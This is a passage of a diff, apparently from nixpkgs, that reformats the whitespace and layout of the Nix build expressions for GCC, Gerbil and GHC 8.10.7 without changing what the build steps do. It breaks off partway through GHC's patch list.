+      moveToOutput "share/gcc-*/python" "''${!outputLib}"
 
-        if [ -z "$enableShared" ]; then
-            moveToOutput "$targetLibDir/lib*.a" "''${!outputLib}"
-        fi
+      if [ -z "$enableShared" ]; then
+          moveToOutput "$targetLibDir/lib*.a" "''${!outputLib}"
+      fi
 
-        for i in "''${!outputLib}"/$targetLibDir/*.py; do
-            substituteInPlace "$i" --replace "$out" "''${!outputLib}"
-        done
+      for i in "''${!outputLib}"/$targetLibDir/*.py; do
+          substituteInPlace "$i" --replace "$out" "''${!outputLib}"
+      done
 
-        # Multilib and cross can't exist at the same time, so just use lib64 here
-        if [ -n "$enableMultilib" ]; then
-            moveToOutput "lib64/lib*.so*" "''${!outputLib}"
-            moveToOutput "lib64/lib*.dylib" "''${!outputLib}"
-            moveToOutput "lib64/lib*.dll.a" "''${!outputLib}"
-            moveToOutput "lib64/lib*.dll" "''${!outputLib}"
+      # Multilib and cross can't exist at the same time, so just use lib64 here
+      if [ -n "$enableMultilib" ]; then
+          moveToOutput "lib64/lib*.so*" "''${!outputLib}"
+          moveToOutput "lib64/lib*.dylib" "''${!outputLib}"
+          moveToOutput "lib64/lib*.dll.a" "''${!outputLib}"
+          moveToOutput "lib64/lib*.dll" "''${!outputLib}"
 
-            for i in "''${!outputLib}"/lib64/*.py; do
-                substituteInPlace "$i" --replace "$out" "''${!outputLib}"
-            done
-        fi
+          for i in "''${!outputLib}"/lib64/*.py; do
+              substituteInPlace "$i" --replace "$out" "''${!outputLib}"
+          done
+      fi
 
-        # Remove `fixincl' to prevent a retained dependency on the
-        # previous gcc.
-        rm -rf $out/libexec/gcc/*/*/install-tools
-        rm -rf $out/lib/gcc/*/*/install-tools
+      # Remove `fixincl' to prevent a retained dependency on the
+      # previous gcc.
+      rm -rf $out/libexec/gcc/*/*/install-tools
+      rm -rf $out/lib/gcc/*/*/install-tools
 
-        # More dependencies with the previous gcc or some libs (gccbug stores the build command line)
-        rm -rf $out/bin/gccbug
+      # More dependencies with the previous gcc or some libs (gccbug stores the build command line)
+      rm -rf $out/bin/gccbug
 
-        # Remove .la files, they're not adjusted for the makeCompatibilitySymlink magic,
-        # which confuses libtool and leads to weird linking errors.
-        # Removing the files just makes libtool link .so files directly, which is usually
-        # what we want anyway.
-        find $out -name '*.la' -delete
+      # Remove .la files, they're not adjusted for the makeCompatibilitySymlink magic,
+      # which confuses libtool and leads to weird linking errors.
+      # Removing the files just makes libtool link .so files directly, which is usually
+      # what we want anyway.
+      find $out -name '*.la' -delete
 
-        if type "install_name_tool"; then
-            for i in "''${!outputLib}"/lib/*.*.dylib "''${!outputLib}"/lib/*.so.[0-9]; do
-                install_name_tool -id "$i" "$i" || true
-                for old_path in $(otool -L "$i" | grep "$out" | awk '{print $1}'); do
-                  new_path=`echo "$old_path" | sed "s,$out,''${!outputLib},"`
-                  install_name_tool -change "$old_path" "$new_path" "$i" || true
-                done
-            done
-        fi
+      if type "install_name_tool"; then
+          for i in "''${!outputLib}"/lib/*.*.dylib "''${!outputLib}"/lib/*.so.[0-9]; do
+              install_name_tool -id "$i" "$i" || true
+              for old_path in $(otool -L "$i" | grep "$out" | awk '{print $1}'); do
+                new_path=`echo "$old_path" | sed "s,$out,''${!outputLib},"`
+                install_name_tool -change "$old_path" "$new_path" "$i" || true
+              done
+          done
+      fi
 
-        # Get rid of some "fixed" header files
-        rm -rfv $out/lib/gcc/*/*/include-fixed/{root,linux,sys/mount.h,bits/statx.h,pthread.h}
+      # Get rid of some "fixed" header files
+      rm -rfv $out/lib/gcc/*/*/include-fixed/{root,linux,sys/mount.h,bits/statx.h,pthread.h}
 
-        # Replace hard links for i686-pc-linux-gnu-gcc etc. with symlinks.
-        for i in $out/bin/*-gcc*; do
-            if cmp -s $out/bin/gcc $i; then
-                ln -sfn gcc $i
-            fi
-        done
+      # Replace hard links for i686-pc-linux-gnu-gcc etc. with symlinks.
+      for i in $out/bin/*-gcc*; do
+          if cmp -s $out/bin/gcc $i; then
+              ln -sfn gcc $i
+          fi
+      done
 
-        for i in $out/bin/c++ $out/bin/*-c++* $out/bin/*-g++*; do
-            if cmp -s $out/bin/g++ $i; then
-                ln -sfn g++ $i
-            fi
-        done
+      for i in $out/bin/c++ $out/bin/*-c++* $out/bin/*-g++*; do
+          if cmp -s $out/bin/g++ $i; then
+              ln -sfn g++ $i
+          fi
+      done
 
-        # Two identical man pages are shipped (moving and compressing is done later)
-        for i in "$out"/share/man/man1/*g++.1; do
-            if test -e "$i"; then
-                man_prefix=`echo "$i" | sed "s,.*/\(.*\)g++.1,\1,"`
-                ln -sf "$man_prefix"gcc.1 "$i"
-            fi
-        done
-      ''
-      # if cross-compiling, link from $lib/lib to $lib/${targetConfig}.
-      # since native-compiles have $lib/lib as a directory (not a
-      # symlink), this ensures that in every case we can assume that
-      # $lib/lib contains the .so files
-      + lib.optionalString isCross ''
-        if [ -e "$lib/$targetConfig/lib" ]; then
-          ln -s "$lib/$targetConfig/lib" "$lib/lib"
-        fi
-      '';
+      # Two identical man pages are shipped (moving and compressing is done later)
+      for i in "$out"/share/man/man1/*g++.1; do
+          if test -e "$i"; then
+              man_prefix=`echo "$i" | sed "s,.*/\(.*\)g++.1,\1,"`
+              ln -sf "$man_prefix"gcc.1 "$i"
+          fi
+      done
+    ''
+    # if cross-compiling, link from $lib/lib to $lib/${targetConfig}.
+    # since native-compiles have $lib/lib as a directory (not a
+    # symlink), this ensures that in every case we can assume that
+    # $lib/lib contains the .so files
+    + lib.optionalString isCross ''
+      if [ -e "$lib/$targetConfig/lib" ]; then
+        ln -s "$lib/$targetConfig/lib" "$lib/lib"
+      fi
+    '';
   }
 ))
diff --git a/pkgs/development/compilers/gcc/common/dependencies.nix b/pkgs/development/compilers/gcc/common/dependencies.nix
index ee62f1da0e1f..292196338977 100644
--- a/pkgs/development/compilers/gcc/common/dependencies.nix
+++ b/pkgs/development/compilers/gcc/common/dependencies.nix
@@ -37,19 +37,18 @@ in
   # same for all gcc's
   depsBuildBuild = [ buildPackages.stdenv.cc ];
 
-  nativeBuildInputs =
-    [
-      texinfo
-      which
-      gettext
-    ]
-    ++ optionals (perl != null) [ perl ]
-    ++ optionals (with stdenv.targetPlatform; isVc4 || isRedox || isSnapshot && flex != null) [ flex ]
-    ++ optionals langAda [ gnat-bootstrap ]
-    ++ optionals langRust [ cargo ]
-    # The builder relies on GNU sed (for instance, Darwin's `sed' fails with
-    # "-i may not be used with stdin"), and `stdenvNative' doesn't provide it.
-    ++ optionals buildPlatform.isDarwin [ gnused ];
+  nativeBuildInputs = [
+    texinfo
+    which
+    gettext
+  ]
+  ++ optionals (perl != null) [ perl ]
+  ++ optionals (with stdenv.targetPlatform; isVc4 || isRedox || isSnapshot && flex != null) [ flex ]
+  ++ optionals langAda [ gnat-bootstrap ]
+  ++ optionals langRust [ cargo ]
+  # The builder relies on GNU sed (for instance, Darwin's `sed' fails with
+  # "-i may not be used with stdin"), and `stdenvNative' doesn't provide it.
+  ++ optionals buildPlatform.isDarwin [ gnused ];
 
   # For building runtime libs
   # same for all gcc's
@@ -68,19 +67,18 @@ in
     )
     ++ optionals targetPlatform.isLinux [ patchelf ];
 
-  buildInputs =
-    [
-      gmp
-      mpfr
-      libmpc
-    ]
-    ++ optionals (lib.versionAtLeast version "10") [ libxcrypt ]
-    ++ [
-      targetPackages.stdenv.cc.bintools # For linking code at run-time
-    ]
-    ++ optionals (isl != null) [ isl ]
-    ++ optionals (zlib != null) [ zlib ]
-    ++ optionals (langGo && stdenv.hostPlatform.isMusl) [ libucontext ];
+  buildInputs = [
+    gmp
+    mpfr
+    libmpc
+  ]
+  ++ optionals (lib.versionAtLeast version "10") [ libxcrypt ]
+  ++ [
+    targetPackages.stdenv.cc.bintools # For linking code at run-time
+  ]
+  ++ optionals (isl != null) [ isl ]
+  ++ optionals (zlib != null) [ zlib ]
+  ++ optionals (langGo && stdenv.hostPlatform.isMusl) [ libucontext ];
 
   depsTargetTarget = optionals (
     !withoutTargetLibc && threadsCross != { } && threadsCross.package != null
diff --git a/pkgs/development/compilers/gcc/common/strip-attributes.nix b/pkgs/development/compilers/gcc/common/strip-attributes.nix
index 3871d8466495..d6f3cc1475c8 100644
--- a/pkgs/development/compilers/gcc/common/strip-attributes.nix
+++ b/pkgs/development/compilers/gcc/common/strip-attributes.nix
@@ -39,45 +39,44 @@
   ];
   stripDebugListTarget = [ stdenv.targetPlatform.config ];
 
-  preFixup =
-    ''
-      # Populate most delicated lib/ part of stripDebugList{,Target}
-      updateDebugListPaths() {
-        local oldOpts
-        oldOpts="$(shopt -p nullglob)" || true
-        shopt -s nullglob
+  preFixup = ''
+    # Populate most delicated lib/ part of stripDebugList{,Target}
+    updateDebugListPaths() {
+      local oldOpts
+      oldOpts="$(shopt -p nullglob)" || true
+      shopt -s nullglob
 
-        pushd $out
-        local -ar outHostFiles=(
-          lib{,32,64}/*.{a,o,so*}
-          lib{,32,64}/gcc/${stdenv.targetPlatform.config}/*/plugin
-        )
-        local -ar outTargetFiles=(
-          lib{,32,64}/gcc/${stdenv.targetPlatform.config}/*/*.{a,o,so*}
-        )
-        popd
-    ''
-    + lib.optionalString (!langJit) ''
-      ${
-        # keep indentation
-        ""
-      }
-        pushd $lib
-        local -ar libHostFiles=(
-          lib{,32,64}/*.{a,o,so*}
-        )
-        local -ar libTargetFiles=(
-          lib{,32,64}/${stdenv.targetPlatform.config}/*.{a,o,so*}
-        )
-        popd
+      pushd $out
+      local -ar outHostFiles=(
+        lib{,32,64}/*.{a,o,so*}
+        lib{,32,64}/gcc/${stdenv.targetPlatform.config}/*/plugin
+      )
+      local -ar outTargetFiles=(
+        lib{,32,64}/gcc/${stdenv.targetPlatform.config}/*/*.{a,o,so*}
+      )
+      popd
+  ''
+  + lib.optionalString (!langJit) ''
+    ${
+      # keep indentation
+      ""
+    }
+      pushd $lib
+      local -ar libHostFiles=(
+        lib{,32,64}/*.{a,o,so*}
+      )
+      local -ar libTargetFiles=(
+        lib{,32,64}/${stdenv.targetPlatform.config}/*.{a,o,so*}
+      )
+      popd
 
-    ''
-    + ''
-        eval "$oldOpts"
+  ''
+  + ''
+      eval "$oldOpts"
 
-        stripDebugList="$stripDebugList ''${outHostFiles[*]} ''${libHostFiles[*]}"
-        stripDebugListTarget="$stripDebugListTarget ''${outTargetFiles[*]} ''${libTargetFiles[*]}"
-      }
-      updateDebugListPaths
-    '';
+      stripDebugList="$stripDebugList ''${outHostFiles[*]} ''${libHostFiles[*]}"
+      stripDebugListTarget="$stripDebugListTarget ''${outTargetFiles[*]} ''${libTargetFiles[*]}"
+    }
+    updateDebugListPaths
+  '';
 }
diff --git a/pkgs/development/compilers/gcc/default.nix b/pkgs/development/compilers/gcc/default.nix
index 38f17692cefa..82d676bc8656 100644
--- a/pkgs/development/compilers/gcc/default.nix
+++ b/pkgs/development/compilers/gcc/default.nix
@@ -234,7 +234,8 @@ pipe
         "out"
         "man"
         "info"
-      ] ++ optional (!langJit) "lib";
+      ]
+      ++ optional (!langJit) "lib";
 
       setOutputFlags = false;
 
@@ -244,68 +245,68 @@ pipe
         "format"
         "pie"
         "stackclashprotection"
-      ] ++ optionals (is11 && langAda) [ "fortify3" ];
+      ]
+      ++ optionals (is11 && langAda) [ "fortify3" ];
 
-      postPatch =
-        ''
-          configureScripts=$(find . -name configure)
-          for configureScript in $configureScripts; do
-            patchShebangs $configureScript
-          done
+      postPatch = ''
+        configureScripts=$(find . -name configure)
+        for configureScript in $configureScripts; do
+          patchShebangs $configureScript
+        done
 
-          # Make sure nixpkgs versioning match upstream one
-          # to ease version-based comparisons.
-          gcc_base_version=$(< gcc/BASE-VER)
-          if [[ ${baseVersion} != $gcc_base_version ]]; then
-            echo "Please update 'version' variable:"
-            echo "  Expected: '$gcc_base_version'"
-            echo "  Actual: '${version}'"
-            exit 1
-          fi
-        ''
-        # This should kill all the stdinc frameworks that gcc and friends like to
-        # insert into default search paths.
-        + optionalString hostPlatform.isDarwin ''
-          substituteInPlace gcc/config/darwin-c.c${optionalString atLeast12 "c"} \
-            --replace 'if (stdinc)' 'if (0)'
+        # Make sure nixpkgs versioning match upstream one
+        # to ease version-based comparisons.
+        gcc_base_version=$(< gcc/BASE-VER)
+        if [[ ${baseVersion} != $gcc_base_version ]]; then
+          echo "Please update 'version' variable:"
+          echo "  Expected: '$gcc_base_version'"
+          echo "  Actual: '${version}'"
+          exit 1
+        fi
+      ''
+      # This should kill all the stdinc frameworks that gcc and friends like to
+      # insert into default search paths.
+      + optionalString hostPlatform.isDarwin ''
+        substituteInPlace gcc/config/darwin-c.c${optionalString atLeast12 "c"} \
+          --replace 'if (stdinc)' 'if (0)'
 
-          substituteInPlace libgcc/config/t-slibgcc-darwin \
-            --replace "-install_name @shlib_slibdir@/\$(SHLIB_INSTALL_NAME)" "-install_name ''${!outputLib}/lib/\$(SHLIB_INSTALL_NAME)"
+        substituteInPlace libgcc/config/t-slibgcc-darwin \
+          --replace "-install_name @shlib_slibdir@/\$(SHLIB_INSTALL_NAME)" "-install_name ''${!outputLib}/lib/\$(SHLIB_INSTALL_NAME)"
 
-          substituteInPlace libgfortran/configure \
-            --replace "-install_name \\\$rpath/\\\$soname" "-install_name ''${!outputLib}/lib/\\\$soname"
-        ''
-        + (optionalString ((!lib.systems.equals targetPlatform hostPlatform) || stdenv.cc.libc != null)
-          # On NixOS, use the right path to the dynamic linker instead of
-          # `/lib/ld*.so'.
+        substituteInPlace libgfortran/configure \
+          --replace "-install_name \\\$rpath/\\\$soname" "-install_name ''${!outputLib}/lib/\\\$soname"
+      ''
+      + (optionalString ((!lib.systems.equals targetPlatform hostPlatform) || stdenv.cc.libc != null)
+        # On NixOS, use the right path to the dynamic linker instead of
+        # `/lib/ld*.so'.
+        (
+          let
+            libc = if libcCross != null then libcCross else stdenv.cc.libc;
+          in
           (
-            let
-              libc = if libcCross != null then libcCross else stdenv.cc.libc;
-            in
-            (
-              ''
-                echo "fixing the {GLIBC,UCLIBC,MUSL}_DYNAMIC_LINKER macros..."
-                for header in "gcc/config/"*-gnu.h "gcc/config/"*"/"*.h
-                do
-                  grep -q _DYNAMIC_LINKER "$header" || continue
-                  echo "  fixing $header..."
-                  sed -i "$header" \
-                      -e 's|define[[:blank:]]*\([UCG]\+\)LIBC_DYNAMIC_LINKER\([0-9]*\)[[:blank:]]"\([^\"]\+\)"$|define \1LIBC_DYNAMIC_LINKER\2 "${libc.out}\3"|g' \
-                      -e 's|define[[:blank:]]*MUSL_DYNAMIC_LINKER\([0-9]*\)[[:blank:]]"\([^\"]\+\)"$|define MUSL_DYNAMIC_LINKER\1 "${libc.out}\2"|g'
-                  done
-              ''
-              + optionalString (targetPlatform.libc == "musl") ''
-                sed -i gcc/config/linux.h -e '1i#undef LOCAL_INCLUDE_DIR'
-              ''
-            )
+            ''
+              echo "fixing the {GLIBC,UCLIBC,MUSL}_DYNAMIC_LINKER macros..."
+              for header in "gcc/config/"*-gnu.h "gcc/config/"*"/"*.h
+              do
+                grep -q _DYNAMIC_LINKER "$header" || continue
+                echo "  fixing $header..."
+                sed -i "$header" \
+                    -e 's|define[[:blank:]]*\([UCG]\+\)LIBC_DYNAMIC_LINKER\([0-9]*\)[[:blank:]]"\([^\"]\+\)"$|define \1LIBC_DYNAMIC_LINKER\2 "${libc.out}\3"|g' \
+                    -e 's|define[[:blank:]]*MUSL_DYNAMIC_LINKER\([0-9]*\)[[:blank:]]"\([^\"]\+\)"$|define MUSL_DYNAMIC_LINKER\1 "${libc.out}\2"|g'
+                done
+            ''
+            + optionalString (targetPlatform.libc == "musl") ''
+              sed -i gcc/config/linux.h -e '1i#undef LOCAL_INCLUDE_DIR'
+            ''
           )
         )
-        + optionalString targetPlatform.isAvr (''
-          makeFlagsArray+=(
-             '-s' # workaround for hitting hydra log limit
-             'LIMITS_H_TEST=false'
-          )
-        '');
+      )
+      + optionalString targetPlatform.isAvr (''
+        makeFlagsArray+=(
+           '-s' # workaround for hitting hydra log limit
+           'LIMITS_H_TEST=false'
+        )
+      '');
 
       inherit
         noSysDirs
@@ -441,24 +442,23 @@ pipe
       enableParallelBuilding = true;
       inherit enableShared enableMultilib;
 
-      meta =
-        {
-          inherit (callFile ./common/meta.nix { })
-            homepage
-            license
-            description
-            longDescription
-            platforms
-            teams
-            ;
-        }
-        // optionalAttrs (!atLeast11) {
-          badPlatforms = [ "aarch64-darwin" ];
-        }
-        // optionalAttrs is10 {
-          badPlatforms =
-            if (!lib.systems.equals targetPlatform hostPlatform) then [ "aarch64-darwin" ] else [ ];
-        };
+      meta = {
+        inherit (callFile ./common/meta.nix { })
+          homepage
+          license
+          description
+          longDescription
+          platforms
+          teams
+          ;
+      }
+      // optionalAttrs (!atLeast11) {
+        badPlatforms = [ "aarch64-darwin" ];
+      }
+      // optionalAttrs is10 {
+        badPlatforms =
+          if (!lib.systems.equals targetPlatform hostPlatform) then [ "aarch64-darwin" ] else [ ];
+      };
     }
     // optionalAttrs (!atLeast10 && stdenv.targetPlatform.isDarwin) {
       # GCC <10 requires default cctools `strip` instead of `llvm-strip` used by Darwin bintools.
diff --git a/pkgs/development/compilers/gerbil/build.nix b/pkgs/development/compilers/gerbil/build.nix
index 26808377b1ac..da91532cc12f 100644
--- a/pkgs/development/compilers/gerbil/build.nix
+++ b/pkgs/development/compilers/gerbil/build.nix
@@ -114,18 +114,17 @@ stdenv.mkDerivation rec {
     runHook postBuild
   '';
 
-  installPhase =
-    ''
-      runHook preInstall
-      mkdir -p $out/gerbil $out/bin
-      ./install.sh
-      (cd $out/bin ; ln -s ../gerbil/bin/* .)
-      runHook postInstall
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      libgerbil="$(realpath "$out/gerbil/lib/libgerbil.so")"
-      install_name_tool -id "$libgerbil" "$libgerbil"
-    '';
+  installPhase = ''
+    runHook preInstall
+    mkdir -p $out/gerbil $out/bin
+    ./install.sh
+    (cd $out/bin ; ln -s ../gerbil/bin/* .)
+    runHook postInstall
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    libgerbil="$(realpath "$out/gerbil/lib/libgerbil.so")"
+    install_name_tool -id "$libgerbil" "$libgerbil"
+  '';
 
   dontStrip = true;
 
diff --git a/pkgs/development/compilers/ghc/8.10.7-binary.nix b/pkgs/development/compilers/ghc/8.10.7-binary.nix
index 9ad461fc03f4..2236fadf56b5 100644
--- a/pkgs/development/compilers/ghc/8.10.7-binary.nix
+++ b/pkgs/development/compilers/ghc/8.10.7-binary.nix
@@ -213,19 +213,18 @@ let
 
   libEnvVar = lib.optionalString stdenv.hostPlatform.isDarwin "DY" + "LD_LIBRARY_PATH";
 
-  runtimeDeps =
-    [
-      targetPackages.stdenv.cc
-      targetPackages.stdenv.cc.bintools
-      coreutils # for cat
-    ]
-    ++ lib.optionals useLLVM [
-      (lib.getBin llvmPackages.llvm)
-    ]
-    # On darwin, we need unwrapped bintools as well (for otool)
-    ++ lib.optionals (stdenv.targetPlatform.linker == "cctools") [
-      targetPackages.stdenv.cc.bintools.bintools
-    ];
+  runtimeDeps = [
+    targetPackages.stdenv.cc
+    targetPackages.stdenv.cc.bintools
+    coreutils # for cat
+  ]
+  ++ lib.optionals useLLVM [
+    (lib.getBin llvmPackages.llvm)
+  ]
+  # On darwin, we need unwrapped bintools as well (for otool)
+  ++ lib.optionals (stdenv.targetPlatform.linker == "cctools") [
+    targetPackages.stdenv.cc.bintools.bintools
+  ];
 
 in
 
@@ -246,16 +245,17 @@ stdenv.mkDerivation {
   #           https://gitlab.haskell.org/ghc/ghc/-/issues/20059
   #       and update this comment accordingly.
 
-  nativeBuildInputs =
-    [ perl ]
-    # Upstream binaries may not be linker-signed, which invalidates their signatures
-    # because `install_name_tool` will only replace a signature if it is both
-    # an ad hoc signature and the signature is flagged as linker-signed.
-    #
-    # rcodesign is used to replace the signature instead of sigtool because it
-    # supports setting the linker-signed flag, which will ensure future processing
-    # of the binaries does not invalidate their signatures.
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [ rcodesign ];
+  nativeBuildInputs = [
+    perl
+  ]
+  # Upstream binaries may not be linker-signed, which invalidates their signatures
+  # because `install_name_tool` will only replace a signature if it is both
+  # an ad hoc signature and the signature is flagged as linker-signed.
+  #
+  # rcodesign is used to replace the signature instead of sigtool because it
+  # supports setting the linker-signed flag, which will ensure future processing
+  # of the binaries does not invalidate their signatures.
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [ rcodesign ];
 
   # Set LD_LIBRARY_PATH or equivalent so that the programs running as part
   # of the bindist installer can find the libraries they expect.
@@ -379,15 +379,14 @@ stdenv.mkDerivation {
   preConfigure = lib.optionalString stdenv.targetPlatform.isAarch32 "LD=ld.gold";
 
   configurePlatforms = [ ];
-  configureFlags =
-    [
-      "--with-gmp-includes=${lib.getDev gmp}/include"
-      # Note `--with-gmp-libraries` does nothing for GHC bindists:
-      # https://gitlab.haskell.org/ghc/ghc/-/merge_requests/6124
-    ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin "--with-gcc=${./gcc-clang-wrapper.sh}"
-    # From: https://github.com/NixOS/nixpkgs/pull/43369/commits
-    ++ lib.optional stdenv.hostPlatform.isMusl "--disable-ld-override";
+  configureFlags = [
+    "--with-gmp-includes=${lib.getDev gmp}/include"
+    # Note `--with-gmp-libraries` does nothing for GHC bindists:
+    # https://gitlab.haskell.org/ghc/ghc/-/merge_requests/6124
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin "--with-gcc=${./gcc-clang-wrapper.sh}"
+  # From: https://github.com/NixOS/nixpkgs/pull/43369/commits
+  ++ lib.optional stdenv.hostPlatform.isMusl "--disable-ld-override";
 
   # No building is necessary, but calling make without flags ironically
   # calls install-strip ...
@@ -498,26 +497,25 @@ stdenv.mkDerivation {
     [ $(./main) == "yes" ]
   '';
 
-  passthru =
-    {
-      targetPrefix = "";
-      enableShared = true;
+  passthru = {
+    targetPrefix = "";
+    enableShared = true;
 
-      inherit llvmPackages;
+    inherit llvmPackages;
 
-      # Our Cabal compiler name
-      haskellCompilerName = "ghc-${version}";
-    }
-    # We duplicate binDistUsed here since we have a sensible default even if no bindist is available,
-    # this makes sure that getting the `meta` attribute doesn't throw even on unsupported platforms.
-    // lib.optionalAttrs (ghcBinDists.${distSetName}.${stdenv.hostPlatform.system}.isHadrian or false) {
-      # Normal GHC derivations expose the hadrian derivation used to build them
-      # here. In the case of bindists we just make sure that the attribute exists,
-      # as it is used for checking if a GHC derivation has been built with hadrian.
-      # The isHadrian mechanism will become obsolete with GHCs that use hadrian
-      # exclusively, i.e. 9.6 (and 9.4?).
-      hadrian = null;
-    };
+    # Our Cabal compiler name
+    haskellCompilerName = "ghc-${version}";
+  }
+  # We duplicate binDistUsed here since we have a sensible default even if no bindist is available,
+  # this makes sure that getting the `meta` attribute doesn't throw even on unsupported platforms.
+  // lib.optionalAttrs (ghcBinDists.${distSetName}.${stdenv.hostPlatform.system}.isHadrian or false) {
+    # Normal GHC derivations expose the hadrian derivation used to build them
+    # here. In the case of bindists we just make sure that the attribute exists,
+    # as it is used for checking if a GHC derivation has been built with hadrian.
+    # The isHadrian mechanism will become obsolete with GHCs that use hadrian
+    # exclusively, i.e. 9.6 (and 9.4?).
+    hadrian = null;
+  };
 
   meta = rec {
     homepage = "http://haskell.org/ghc";
diff --git a/pkgs/development/compilers/ghc/8.10.7.nix b/pkgs/development/compilers/ghc/8.10.7.nix
index c972f29289d3..7dc6c0a62688 100644
--- a/pkgs/development/compilers/ghc/8.10.7.nix
+++ b/pkgs/development/compilers/ghc/8.10.7.nix
@@ -114,56 +114,55 @@ let
   # TODO(@Ericson2314) Make unconditional
   targetPrefix = lib.optionalString (targetPlatform != hostPlatform) "${targetPlatform.config}-";
 
-  buildMK =
-    ''
-      BuildFlavour = ${ghcFlavour}
-      ifneq \"\$(BuildFlavour)\" \"\"
-      include mk/flavours/\$(BuildFlavour).mk
-      endif
-      BUILD_SPHINX_HTML = ${if enableDocs then "YES" else "NO"}
-      BUILD_SPHINX_PDF = NO
+  buildMK = ''
+    BuildFlavour = ${ghcFlavour}
+    ifneq \"\$(BuildFlavour)\" \"\"
+    include mk/flavours/\$(BuildFlavour).mk
+    endif
+    BUILD_SPHINX_HTML = ${if enableDocs then "YES" else "NO"}
+    BUILD_SPHINX_PDF = NO
 
-      WITH_TERMINFO = ${if enableTerminfo then "YES" else "NO"}
+    WITH_TERMINFO = ${if enableTerminfo then "YES" else "NO"}
+  ''
+  +
+    # Note [HADDOCK_DOCS]:
+    # Unfortunately currently `HADDOCK_DOCS` controls both whether the `haddock`
+    # program is built (which we generally always want to have a complete GHC install)
+    # and whether it is run on the GHC sources to generate hyperlinked source code
+    # (which is impossible for cross-compilation); see:
+    # https://gitlab.haskell.org/ghc/ghc/-/issues/20077
+    # This implies that currently a cross-compiled GHC will never have a `haddock`
+    # program, so it can never generate haddocks for any packages.
+    # If this is solved in the future, we'd like to unconditionally
+    # build the haddock program (removing the `enableHaddockProgram` option).
     ''
-    +
-      # Note [HADDOCK_DOCS]:
-      # Unfortunately currently `HADDOCK_DOCS` controls both whether the `haddock`
-      # program is built (which we generally always want to have a complete GHC install)
-      # and whether it is run on the GHC sources to generate hyperlinked source code
-      # (which is impossible for cross-compilation); see:
-      # https://gitlab.haskell.org/ghc/ghc/-/issues/20077
-      # This implies that currently a cross-compiled GHC will never have a `haddock`
-      # program, so it can never generate haddocks for any packages.
-      # If this is solved in the future, we'd like to unconditionally
-      # build the haddock program (removing the `enableHaddockProgram` option).
-      ''
-        HADDOCK_DOCS = ${if enableHaddockProgram then "YES" else "NO"}
-        # Build haddocks for boot packages with hyperlinking
-        EXTRA_HADDOCK_OPTS += --hyperlinked-source --quickjump
+      HADDOCK_DOCS = ${if enableHaddockProgram then "YES" else "NO"}
+      # Build haddocks for boot packages with hyperlinking
+      EXTRA_HADDOCK_OPTS += --hyperlinked-source --quickjump
 
-        DYNAMIC_GHC_PROGRAMS = ${if enableShared then "YES" else "NO"}
-        INTEGER_LIBRARY = ${if enableIntegerSimple then "integer-simple" else "integer-gmp"}
-      ''
-    + lib.optionalString (targetPlatform != hostPlatform) ''
-      Stage1Only = ${if targetPlatform.system == hostPlatform.system then "NO" else "YES"}
-      CrossCompilePrefix = ${targetPrefix}
+      DYNAMIC_GHC_PROGRAMS = ${if enableShared then "YES" else "NO"}
+      INTEGER_LIBRARY = ${if enableIntegerSimple then "integer-simple" else "integer-gmp"}
     ''
-    + lib.optionalString (!enableProfiledLibs) ''
-      BUILD_PROF_LIBS = NO
-    ''
-    + lib.optionalString enableRelocatedStaticLibs ''
-      GhcLibHcOpts += -fPIC
-      GhcRtsHcOpts += -fPIC
-    ''
-    + lib.optionalString targetPlatform.useAndroidPrebuilt ''
-      EXTRA_CC_OPTS += -std=gnu99
-    ''
-    # While split sections are now enabled by default in ghc 8.8 for windows,
-    # they seem to lead to `too many sections` errors when building base for
-    # profiling.
-    + lib.optionalString targetPlatform.isWindows ''
-      SplitSections = NO
-    '';
+  + lib.optionalString (targetPlatform != hostPlatform) ''
+    Stage1Only = ${if targetPlatform.system == hostPlatform.system then "NO" else "YES"}
+    CrossCompilePrefix = ${targetPrefix}
+  ''
+  + lib.optionalString (!enableProfiledLibs) ''
+    BUILD_PROF_LIBS = NO
+  ''
+  + lib.optionalString enableRelocatedStaticLibs ''
+    GhcLibHcOpts += -fPIC
+    GhcRtsHcOpts += -fPIC
+  ''
+  + lib.optionalString targetPlatform.useAndroidPrebuilt ''
+    EXTRA_CC_OPTS += -std=gnu99
+  ''
+  # While split sections are now enabled by default in ghc 8.8 for windows,
+  # they seem to lead to `too many sections` errors when building base for
+  # profiling.
+  + lib.optionalString targetPlatform.isWindows ''
+    SplitSections = NO
+  '';
 
   # Splicer will pull out correct variations
   libDeps =
@@ -177,7 +176,8 @@ let
   # GHC doesn't seem to have {LLC,OPT}_HOST
   toolsForTarget = [
     pkgsBuildTarget.targetPackages.stdenv.cc
-  ] ++ lib.optional useLLVM buildTargetLlvmPackages.llvm;
+  ]
+  ++ lib.optional useLLVM buildTargetLlvmPackages.llvm;
 
   buildCC = buildPackages.stdenv.cc;
   targetCC = builtins.head toolsForTarget;
@@ -289,185 +289,183 @@ stdenv.mkDerivation (
       "doc"
     ];
 
-    patches =
-      [
-        # Fix docs build with sphinx >= 6.0
-        # https://gitlab.haskell.org/ghc/ghc/-/issues/22766
-        (fetchpatch {
-          name = "ghc-docs-sphinx-6.0.patch";
-          url = "https://gitlab.haskell.org/ghc/ghc/-/commit/10e94a556b4f90769b7fd718b9790d58ae566600.patch";
-          sha256 = "0kmhfamr16w8gch0lgln2912r8aryjky1hfcda3jkcwa5cdzgjdv";
-        })
+    patches = [
+      # Fix docs build with sphinx >= 6.0
+      # https://gitlab.haskell.org/ghc/ghc/-/issues/22766
+      (fetchpatch {
+        name = "ghc-docs-sphinx-6.0.patch";
+        url = "https://gitlab.haskell.org/ghc/ghc/-/commit/10e94a556b4f90769b7fd718b9790d58ae566600.patch";
+        sha256 = "0kmhfamr16w8gch0lgln2912r8aryjky1hfcda3jkcwa5cdzgjdv";
+      })
 
-        # Determine size of time related types using hsc2hs instead of assuming CLong.
-        # Prevents failures when e.g. stat(2)ing on 32bit systems with 64bit time_t etc.
-        # https://github.com/haskell/ghcup-hs/issues/1107
-        # https://gitlab.haskell.org/ghc/ghc/-/issues/25095
-        # Note that in normal situations this shouldn't be the case since nixpkgs
-        # doesn't set -D_FILE_OFFSET_BITS=64 and friends (yet).
-        (fetchpatch {
-          name = "unix-fix-ctimeval-size-32-bit.patch";
